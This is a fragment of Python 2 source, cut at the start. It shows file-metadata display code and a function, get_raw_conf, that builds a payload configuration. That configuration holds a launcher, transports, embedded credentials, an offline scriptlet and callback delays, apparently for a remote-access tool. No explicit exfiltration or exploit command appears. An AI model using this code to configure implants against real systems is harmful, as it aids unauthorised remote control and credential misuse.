({})'.format(size_human_readable(size), size), 'Owner': '{}{} ({})'.format(owner_domain + '\\' if owner_domain else '', owner_name, owner_id), 'Group': '{}{} ({})'.format(group_domain + '\\' if group_domain else '', group_name, group_id), 'Mode': mode, } infos = [] infos.append( Table([{ 'Property': p, 'Value': default[p] } for p in ('Created', 'Accessed', 'Modified', 'Size', 'Owner', 'Group', 'Mode')], ['Property', 'Value'], legend=False)) if magic: infos.append('Magic: {}'.format(magic)) for extra, values in extra.iteritems(): if type(values) in (list, tuple): infos.append(List(values, caption=extra)) else: infos.append(Line(extra + ':', values)) self.log(MultiPart(infos))
def get_raw_conf(display, conf, verbose=False): credentials = Credentials(role='client') if 'offline_script' not in conf: offline_script = '' else: offline_script = conf['offline_script'] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.transport transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = { credential: credentials[credential] for credential in required_credentials if credentials[credential] is not None } if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (unicode(v) if type(v) not in (tuple, list, set) else ' '.join( unicode(x) for x in v)) } for k, v in conf.iteritems() if v] display( Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = { 'credentials': embedded_credentials, 'scriptlets': [offline_script] or [], 'debug': conf.get('debug', False), 'launcher': conf['launcher'], 'launcher_args': conf['launcher_args'], 'cid': conf.get('cid', 0x31338), 'delays': conf.get('delays', [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]) } return config